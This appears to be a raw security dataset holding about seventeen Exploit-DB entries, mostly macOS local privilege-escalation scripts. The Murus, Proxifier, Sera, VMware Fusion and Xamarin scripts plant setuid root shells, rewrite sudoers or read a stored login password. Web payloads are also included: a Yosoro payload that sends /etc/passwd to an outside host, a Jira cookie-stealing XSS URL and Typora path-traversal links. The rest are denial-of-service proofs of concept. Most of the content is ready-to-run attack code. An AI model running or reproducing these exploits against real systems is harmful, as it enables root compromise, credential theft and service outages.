deardaniel/secdata-raw huggingface dataset:
Exploit-DB #43217
Description: Murus 1.4.11 - Local Privilege Escalation
Type: local
Platform: macos
Date: 2017-12-06
Author: Mark Wadham

Exploit:
# I recently blogged about the prevalence of escalation hijack vulnerabilities amongst macOS applications. One example of this is the latest version of Murus
# firewall. By design it requires the user to authenticate every time in order to obtain the access it needs to modify the firewall settings.

# If a local attacker or malware is running as an admin user (ie has write access to /Applications/) they can subvert this process to silently obtain root access
# without the user knowing.

# https://m4.rkw.io/murus1.4.11.sh.txt
# 9c332c07747e11c78c34f9dc8d30127250d95edd5e58a571ed1a005eafd32301
# -------------------------------------------------------------------------------
#!/bin/bash

##################################################################
###### Murus 1.4.11 local root privilege escalation exploit ######
###### by m4rkw - https://m4.rkw.io/blog.html               ######
##################################################################

echo "compiling payloads..."

cat > /tmp/murus411_exp.c <<EOF
#include <unistd.h>
int main()
{
  setuid(0);
  seteuid(0);
  execl("/bin/bash","bash","-c","rm -f /tmp/murus411_exp; /bin/bash",NULL);
  return 0;
}
EOF

gcc -o /tmp/murus411_exp /tmp/murus411_exp.c

if [ ! $? -eq 0 ] ; then
  rm -f /tmp/murus411_exp.c
	echo "failed to compile, dev tools may not be installed"
  exit 1
fi

rm -f /tmp/murus411_exp.c

cat > /tmp/murus411_exp2.c <<EOF
#include <unistd.h>
#include <stdlib.h>
int main()
{
  setuid(0);
  seteuid(0);
  system("chown root:wheel /tmp/murus411_exp");
  system("chmod 4755 /tmp/murus411_exp");
  system("mv /Applications/Murus.app/Contents/MacOS/Murus.orig /Applications/\
Murus.app/Contents/MacOS/Murus");
  execl("/Applications/Murus.app/Contents/MacOS/Murus","Murus",NULL);
  return 0;
}
EOF

gcc -o /tmp/murus411_exp2 /tmp/murus411_exp2.c
rm -f /tmp/murus411_exp2.c

echo "waiting for loader..."

while :
do
  ps auxwww |grep '/Applications/Murus.app/Contents/MacOS/MurusLoader' \
    |grep -v grep 1>/dev/null
  if [ $? -eq 0 ] ; then
    break
  fi
done

echo "planting payload..."

mv /Applications/Murus.app/Contents/MacOS/Murus /Applications/Murus.app/\
Contents/MacOS/Murus.orig
mv /tmp/murus411_exp2 /Applications/Murus.app/Contents/MacOS/Murus

echo "waiting for payload to trigger..."

while :
do
  r=`ls -la /tmp/murus411_exp |grep root`
  if [ "$r" != "" ] ; then
    break
  fi
  sleep 0.1
done

echo "kapow"

/tmp/murus411_exp
Exploit-DB #41854
Description: Proxifier for Mac 2.17/2.18 - Privesc Escalation
Type: local
Platform: macos
Date: 2017-04-11
Author: Mark Wadham

Exploit:
# Source: https://m4.rkw.io/blog/cve20177643-local-root-privesc-in-proxifier-for-mac--218.html

Proxifier 2.18 (also 2.17 and possibly some earlier version) ships with a
KLoader binary which it installs suid root the first time Proxifier is run. This
binary serves a single purpose which is to load and unload Proxifier's kernel
extension.

Unfortunately it does this by taking the first parameter passed to it on the
commandline without any sanitisation and feeding it straight into system().

This means not only can you load any arbitrary kext as a non-root user but you
can also get a local root shell.

Although this is a bit of a terrible bug that shouldn't be happening in 2017,
Proxifier's developers fixed the issue in record time so that's something!

Everyone using Proxifier for Mac should update to 2.19 as soon as possible.

https://m4.rkw.io/proxifier_privesc.sh.txt
6040180f672a2b70511a483e4996d784f03e04c624a8c4e01e71f50709ab77c3
-------------------------------------------------------------------

#!/bin/bash

#####################################################################
# Local root exploit for vulnerable KLoader binary distributed with #
# Proxifier for Mac v2.18                                           #
#####################################################################
# by m4rkw                                                          #
#####################################################################

cat > a.c <<EOF
#include <stdio.h>
#include <unistd.h>

int main()
{
  setuid(0);
  seteuid(0);

  execl("/bin/bash", "bash", NULL);
  return 0;
}
EOF

gcc -o /tmp/a a.c
rm -f a.c
/Applications/Proxifier.app/Contents/KLoader 'blah; chown root:wheel /tmp/a ; chmod 4755 /tmp/a'
/tmp/a


-------------------------------------------------------------------
Exploit-DB #43221
Description: Sera 1.2 - Local Privilege Escalation / Password Disclosure
Type: local
Platform: macos
Date: 2017-12-06
Author: Mark Wadham

Exploit:
# Sera is a free app for mac and iOS that lets you unlock your mac automatically
# when your iphone is within a configured proximity.

# Unfortunately to facilitate this it stores the users login password in their
# home directory at:

# ~/Library/Preferences/no.ignitum.SeraOSX.plist

# This makes root privilege escalation trivial and worse than that even
# facilitates dumping the keychain as we can easily obtain the user's login
# password. If they are an admin user we can even dump items from the system
# keychain.

# The author of Sera has said he will shut the project down and make the code
# publicly available so no fix is likely to be forthcoming anytime soon.

# It is strongly recommended not to use this app and if you have done so in the
# past make sure you remove this file that contains your login password.

# https://m4.rkw.io/sera_1.2.sh.txt
# dbf4f7b64cac8a60a2c7b3ba2a3988b84a148a3f6e31bcb58d4554e5e74d8edf
# -------------------------------------------------------------------------
#!/bin/bash

##############################################################
###### sera 1.2 local root privilege escalation exploit ######
###### by m4rkw - https://m4.rkw.io/blog.html           ######
##############################################################

sera_pass=`plutil -p ~/Library/Preferences/no.ignitum.SeraOSX.plist |grep '"sera_pass"' |cut -d '"' -f4`

if [ "$sera_pass" == "" ] ; then
  echo "Password not found."
  exit 1
fi

echo "user's password is: $sera_pass"

user="`whoami`"

echo "$user ALL=(ALL) NOPASSWD:ALL" > /tmp/sera_12_exp

echo "$sera_pass" | sudo -S chown root:wheel /tmp/sera_12_exp 1>/dev/null 2>/dev/null
echo "$sera_pass" | sudo -S mv /tmp/sera_12_exp /etc/sudoers.d/sera_12_exp 1>/dev/null 2>/dev/null

sudo bash -c 'rm -f /etc/sudoers.d/sera_12_exp; /bin/bash'
Exploit-DB #48387
Description: Source Engine CS:GO BuildID: 4937372 - Arbitrary Code Execution
Type: local
Platform: macos
Date: 2020-04-27
Author: 0xEmma

Exploit:
# Exploit Title: Source Engine CS:GO BuildID: 4937372 - Arbitrary Code Execution
# Date: 2020-04-27
# Exploit Author: 0xEmma/BugByte/SebastianPC
# Vendor Homepage: https://www.valvesoftware.com/en/
# Version: Source Engine, Tested on CS:GO BuildID: 4937372 TF2 BuildID: 4871679 Garry's Mod BuildID: 4803834 Half Life 2 BuildID: 4233302
# Tested on: MacOS 15.3
# CVE : CVE-2020-12242

import os, random, sys
banner = """
:'######:::'#######::'##::::'##::'######:::'#######::'##:::'##::::'##:::'########:
'##... ##:'##.... ##: ##:::: ##:'##... ##:'##.... ##: ##::'##:::'####:::... ##..::
 ##:::..:: ##'### ##: ##:::: ##: ##:::..::..::::: ##: ##:'##::::.. ##:::::: ##::::
. ######:: ## ### ##: ##:::: ##: ##::::::::'#######:: #####::::::: ##:::::: ##::::
:..... ##: ## #####:: ##:::: ##: ##::::::::...... ##: ##. ##:::::: ##:::::: ##::::
'##::: ##: ##.....::: ##:::: ##: ##::: ##:'##:::: ##: ##:. ##::::: ##:::::: ##::::
. ######::. #######::. #######::. ######::. #######:: ##::. ##::'######:::: ##::::
:......::::.......::::.......::::......::::.......:::..::::..:::......:::::..:::::
"""
print(banner)


if os.name == "posix":
    command = str(input("Code to run? "))
    payload = '"; ' + command + '; echo "'
    f = open("/tmp/hl2_relaunch", "w")

    f.write(payload)
    f.close()

if os.name == "nt":
    print("Windows based OS's not supported, see CVE-2020-12242")
Exploit-DB #48235
Description: VMware Fusion 11.5.2 - Privilege Escalation
Type: local
Platform: macos
Date: 2020-03-20
Author: Rich Mirch

Exploit:
# Exploit Title: VMware Fusion 11.5.2 - Privilege Escalation
# Date: 2020-03-17
# Exploit Author: Rich Mirch
# Vendor Homepage: https://www.vmware.com/products/fusion.html
# Vendor Advisory: https://www.vmware.com/security/advisories/VMSA-2020-0005.html
# Software Link: https://download3.vmware.com/software/fusion/file/VMware-Fusion-11.5.1-15018442.dmg
# Versions:
# VMware Fusion Professional 11.5.1 (15018442)
# VMware Fusion Professional 11.5.2 (15794494)
#
# Tested on: macOS 10.14.6
# CVE : CVE-2020-3950
# Source PoC: https://raw.githubusercontent.com/mirchr/security-research/master/vulnerabilities/CVE-2020-3950.sh
#
#
#!/bin/bash
echo "CVE-2020-3950 VMware Fusion EoP PoC by @0xm1rch"

mkdir -p ~/a/b/c
mkdir -p ~/Contents/Library/services

cat > ~/Contents/Library/services/VMware\ USB\ Arbitrator\ Service <<EOF
#!/usr/bin/python
import os
os.setuid(0)
os.system("cp /bin/bash $HOME/.woot;chmod 4755 $HOME/.woot");
EOF

chmod 755 ~/Contents/Library/services/VMware\ USB\ Arbitrator\ Service

cd ~/a/b/c
ln "/Applications/VMware Fusion.app/Contents/Library/services/Open VMware USB Arbitrator Service" . 2>/dev/null
"${PWD}/Open VMware USB Arbitrator Service" >/dev/null 2>/dev/null &
p=$!
echo "Sleeping for 5 seconds"
sleep 5
kill ${p?}
wait

echo "Sleeping for 7 seconds"
sleep 7

$HOME/.woot -p
Exploit-DB #42454
Description: Xamarin Studio for Mac 6.2.1 (build 3) / 6.3 (build 863) - Local Privilege Escalation
Type: local
Platform: macos
Date: 2017-08-14
Author: Securify

Exploit:
Source: https://www.securify.nl/advisory/SFY20170403/xamarin-studio-for-mac-api-documentation-update-affected-by-local-privilege-escalation.html

Abstract

Xamarin Studio is an Integrated Development Environment (IDE) used to create iOS, Mac and Android applications. Xamarin Studio supports developments in C# and F# (by default). The API documentation update mechanism of Xamarin Studio for Mac is installed as setuid root. This update mechanism contains several flaws that could be leveraged by a local attacker to gain elevated (root) privileges.

Tested versions

This issue was successfully verified on Xamarin Studio for Mac version 6.2.1 (build 3) and version 6.3 (build 863).

Fix

Microsoft released a new version of Xamarin.iOS that addresses this issue:
- Security update for the elevation of privilege vulnerability for Xamarin.iOS: August 14, 2017 (4037359)

#!/bin/bash
# WARNING: this scripts overwrites ~/.curlrc and /private/etc/sudoers (when successful)
#target=/Library/Frameworks/Xamarin.iOS.framework/Versions/10.6.0.10/share/doc/MonoTouch/apple-doc-wizard
target=/Library/Frameworks/Xamarin.iOS.framework/Versions/10.8.0.175/share/doc/MonoTouch/apple-doc-wizard
rm -rf ~/Library/Developer/Shared/Documentation/DocSets
   
cat << __EOF > /private/tmp/sudoers
%everyone   ALL=(ALL) NOPASSWD: ALL
__EOF
   
cat << __EOF > ~/.curlrc
url=file:///private/tmp/sudoers
output=/private/etc/sudoers
__EOF
   
echo 
echo "*** press CRL+C when the download starts ***"
$target
echo
   
sudo -- sh -c 'rm -rf /private/tmp/ios-docs-download.*; su -'
   
rm -f /private/tmp/sudoers ~/.curlrc
Exploit-DB #42125
Description: Apple Safari 10.1 - Spread Operator Integer Overflow Remote Code Execution
Type: remote
Platform: macos
Date: 2017-06-06
Author: saelo

Exploit:
Sources:
https://phoenhex.re/2017-06-02/arrayspread
https://github.com/phoenhex/files/blob/master/exploits/spread-overflow

JavaScriptCore will allocate a JSFixedArray for every spread operand of the array literal (in slow_path_spread). As such, roughly 4 billion JSValues will have to be allocated, taking up 32 GiB in RAM. Luckily, this isn’t much of a problem due to the page compression performed by the macOS kernel. It will, however, take roughly a minute to trigger the bug.

What is left to do now is to perform some heap feng-shui to place something interesting on the heap that we will then overflow into. We use the following heap spray to exploit the bug:

- Allocate 100 JSArrays of size 0x40000 and root them (i.e. keep references). This will trigger GC multiple times and fill up holes in the heap.
- Allocate 100 JSArrays of size 0x40000, where only every second one is rooted. This triggers GC and leaves holes of size 0x40000 in the heap.
- Allocate a larger JSArray and an ArrayBuffer of the same size. These end up directly after the spray from step 2.
- Allocate 4 GiB of padding using JSArrays.
- Trigger the bug by concatenating JSArrays with a combined size of 232 + 0x40000 (containing the repeated byte 0x41).

The target buffer will be allocated in the sprayed region from step 2 and the victim buffers from step 3 will be overwritten. This increases the size of the victim array to the sprayed value (0x[PII_REDACTED]414141), so that it overlaps with the victim ArrayBuffer. The final steps immediately yield the fakeobj and addrof primitives described in section 1.2 of the JavaScriptCore phrack paper which can then be used to write code to a JIT page and jump to it.

In our exploit we perform step 5 in a separate web worker, so that we can launch a second stage shellcode immediately after the victim arrays are overwritten. This way we do not need to wait for the full overwrite to finish, and the heap is only left in a broken state for a very short time, so that garbage collection does not crash (which runs concurrently starting from Safari version 10.1). 


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42125.zip
Exploit-DB #46932
Description: Typora 0.9.9.24.6 - Directory Traversal
Type: remote
Platform: macos
Date: 2019-05-27
Author: Dhiraj Mishra

Exploit:
# Exploit Title: Code execution via path traversal
# Date: 17-05-2019
# Exploit Author: Dhiraj Mishra
# Vendor Homepage: http://typora.io
# Software Link: https://typora.io/download/Typora.dmg
# Version: 0.9.9.24.6
# Tested on: macOS Mojave v10.14.4
# CVE: CVE-2019-12137
# References:
# https://nvd.nist.gov/vuln/detail/CVE-2019-12137
# https://github.com/typora/typora-issues/issues/2505

Summary:
Typora 0.9.9.24.6 on macOS allows directory traversal, for the execution of
arbitrary programs, via a file:/// or ../ substring in a shared note via
abusing URI schemes.

Technical observation:
A crafted URI can be used in a note to perform this attack using file:///
has an argument or by traversing to any directory like
(../../../../something.app).

Since, Typro also has a feature of sharing notes, in such case attacker
could leverage this vulnerability and send crafted notes to the
victim to perform any further attack.

Simple exploit code would be:

<body>
<a href="file:\\\Applications\Calculator.app" id=inputzero>
  <img src="someimage.jpeg" alt="inputzero" width="104" height="142">
</a>
<script>
(function download() {
    document.getElementById('inputzero').click();
})()
</script>
</body>




And alt would be:

```
[Hello World](file:///../../../../etc/passwd)
[Hello World](file:///../../../../something.app)
```
Exploit-DB #50068
Description: Atlassian Jira Server Data Center 8.16.0 - Reflected Cross-Site Scripting (XSS)
Type: webapps
Platform: macos
Date: 2021-06-28
Author: Captain_hook

Exploit:
# Exploit Title: Atlassian Jira Server/Data Center 8.16.0 - Reflected Cross-Site Scripting (XSS)
# Date: 06/05/2021
# Exploit Author: CAPTAIN_HOOK
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/jira/download/data-center
# Version: versions < 8.5.14, 8.6.0 ≤ version <  8.13.6, 8.14.0 ≤ version < 8.16.1
# Tested on: ANY
# CVE : CVE-2021-26078

Description: 								

The number range searcher component in Jira Server and Jira Data Center before version 8.5.14, from version 8.6.0 before version 8.13.6, and from version 8.14.0 before version 8.16.1 allows remote attackers inject arbitrary HTML or JavaScript via across site scripting (XSS) vulnerability
*Fixed versions:*

   - 8.5.14
   - 8.13.6	
   - 8.16.1	
   - 8.17.0

POC:

   - *Story points* custom field that exists by default in all JIRA Server has 3 types of Search template ( None , number range searcher, number searcher) By default the value of Search template is number range searcher OR number searcher. if the value of Search template was set on number range searcher the JIRA server is vulnerable to XSS attack by lowest privilege . For Testing Check the Story points custom field and it's details ( for verifying that the Search template sets on number range searcher) with your ADMIN account ( just like the images) and in the other window Type this With your least privilege
user : jql=issuetype%20%3D%20Epic%20AND%20%22Story%20Points%22%20%3C%3D%20%22%5C%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E%22%20AND%20%22Story%20Points%22%20%3E%3D%20%221%22
Your XSS Will be triggered immediately.

Reference:
https://jira.atlassian.com/browse/JRASERVER-72392?error=login_required&error_description=Login+required&state=9b05ec1f-587c-4014-9053-b6fdbb1efa21
Exploit-DB #44803
Description: Yosoro 1.0.4 - Remote Code Execution
Type: webapps
Platform: macos
Date: 2018-05-30
Author: Carlo Pelliccioni

Exploit:
# Exploit title: Yosoro 1.0.4 - Remote Code Execution
# Date: 2018-05-29
# Exploit Author: Carlo Pelliccioni
# Vendor homepage: https://yosoro.coolecho.net/
# Software link: https://github.com/IceEnd/Yosoro/releases/download/v1.0.4/Yosoro-darwin-x64-1.0.4.zip
# Version: 1.0.4
# Tested on: MacOS 10.13.4
# CVE: CVE-2018-11522
#  _  _            _    _    _             ___                      _  _         
# | || | __ _  __ | |__| |_ (_)__ __ ___  / __| ___  __  _  _  _ _ (_)| |_  _  _ 
# | __ |/ _` |/ _|| / /|  _|| |\ V // -_) \__ \/ -_)/ _|| || || '_|| ||  _|| || |
# |_||_|\__,_|\__||_\_\ \__||_| \_/ \___| |___/\___|\__| \_,_||_|  |_| \__| \_, |

# Remote Code Execution (CVE-2018-11522)
# Payload: 

<webview src="data:text/html,<script>var read = require('fs').readFileSync('/etc/passwd', 'utf-8'); document.location='http://127.0.0.1:8089/'+btoa(read); </script>" nodeintegration></webview>
Exploit-DB #6120
Description: Minix 3.1.2a - Local TTY Panic (Denial of Service)
Type: dos
Platform: minix
Date: 2008-07-23
Author: kokanin

Exploit:
# kokanin@gmail 20080723
# minix 3.1.2a tty panic

trunk/src/drivers/tty/tty.c

 14965	  if ((status = send(replyee, &tty_mess)) != OK) {
 14966	        panic("TTY","tty_reply failed, status\n", status);

$ uname -a
Minix 192.168.1.2 3 1.2a i686
$ while true ; do (yes "yes yes minix uh ah"&) ; done
[snip snip]
$ ^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C

...disconnected

telnet 192.168.1.2
Trying 192.168.1.2...
Connected to 192.168.1.2.
Escape character is '^]'.
I am sorry, but there is no free PTY left!
Connection closed by foreign host.

hai, no moar pty, kthxbye
--
kokanin

# milw0rm.com [2008-07-23]
Exploit-DB #6129
Description: Minix 3.1.2a - Remote TTY Panic (Denial of Service)
Type: dos
Platform: minix
Date: 2008-07-25
Author: kokanin

Exploit:
# kokanin@gmail 20080724
# minix 3.1.2a remote tty panic

trunk/src/drivers/tty/tty.c

 14965	  if ((status = send(replyee, &tty_mess)) != OK) {
 14966	        panic("TTY","tty_reply failed, status\n", status);


$ (while true ; do sleep 1 && killall nc 2>/dev/null; done) &
$ while true ; do cat /dev/urandom | nc 192.168.1.42 23 ; done
[snip garbage]
I am sorry, but there is no free PTY left!
$ fg
$ ^C

hai, no moar pty, remotely, kthxbye
--
kokanin

# milw0rm.com [2008-07-25]
Exploit-DB #23787
Description: 1st Class Internet Solutions 1st Class Mail Server 4.0 - Remote Buffer Overflow (PoC)
Type: dos
Platform: multiple
Date: 2004-03-02
Author: JeFFOsZ

Exploit:
source: https://www.securityfocus.com/bid/9794/info

1st Class Mail Server has been reported prone to a remote buffer overflow vulnerability. The issue exists due to a lack of sufficient boundary checks performed on user-supplied data.

A remote attacker may pass excessive data as an argument for an APOP command passed to the affected server. The attacker may exploit this issue to corrupt a saved instruction pointer and in doing so may potentially influence execution flow of the affected service into attacker-supplied instructions.

APOP user AAAA ... [626 * A] ... AAAA
Exploit-DB #22207
Description: 3ware Disk Managment 1.10 - HTTP Request Denial of Service
Type: dos
Platform: multiple
Date: 2003-01-30
Author: Nathan Neulinger

Exploit:
source: https://www.securityfocus.com/bid/6734/info

A denial of service condition has been reported in 3ware's Disk Management (3DM) by sending a malformed HTTP request to port 1080.

Successful exploitation of this vulnerability may cause the 3DM server to crash.

GET / HTTP/1.1
Host: foo
Accept-Charset: bar
Exploit-DB #38779
Description: Abuse HTTP Server - Remote Denial of Service
Type: dos
Platform: multiple
Date: 2013-09-30
Author: Zico Ekel

Exploit:
'''
source: https://www.securityfocus.com/bid/62723/info

Abuse HTTP Server is prone to a remote denial-of-service vulnerability.

Attackers can exploit this issue to cause denial-of-service conditions.

Abuse HTTP Server version 2.08 is vulnerable; other versions may also be affected. 
'''

#!/usr/bin/python

import socket
import os
import sys

crash = "0" * 504

buffer="GET / HTTP/1.1\r\n"
buffer+="Host: " + crash + "\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="User-Agent: Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1\r\n"
buffer+="Content-Length : 1048580\r\n\r\n"

print "[*] Exploit c0ded by Zee Eichel - zee[at]cr0security.com"
print "[*] Change some option in code with your self"
print "[*] Connect to host and send payload"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.1.101", 80))
expl.send(buffer)
print "[*] Server Disconected"
expl.close()
Exploit-DB #24130
Description: ActivePerl 5.x / Larry Wall Perl 5.x - Duplication Operator Integer Overflow
Type: dos
Platform: multiple
Date: 2004-05-18
Author: Matt Murphy

Exploit:
source: https://www.securityfocus.com/bid/10380/info

ActiveState Perl is reported to be prone to an integer overflow vulnerability. It is revealed through testing that other implementations are also vulnerable.

The issue is reported to exist due to a lack of sufficient bounds checking that is performed on multiplier data that is passed to a Perl duplicator statement. This vulnerability may permit an attacker to influence execution flow of a vulnerable Perl script to ultimately execute arbitrary code. Failed exploit attempts will result in a denial of service.

$var = "ABCD"x0x40000000;
Exploit-DB #8826
Description: Adobe Acrobat 9.1.1 (OSX/Windows) - Stack Overflow Crash (PoC)
Type: dos
Platform: multiple
Date: 2009-05-29
Author: Saint Patrick

Exploit:
Acrobat <= 9.1.1 Stack Overflow Crashy PoC

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33017.pdf (2009-crashy_the_clown.pdf)

# milw0rm.com [2009-05-29]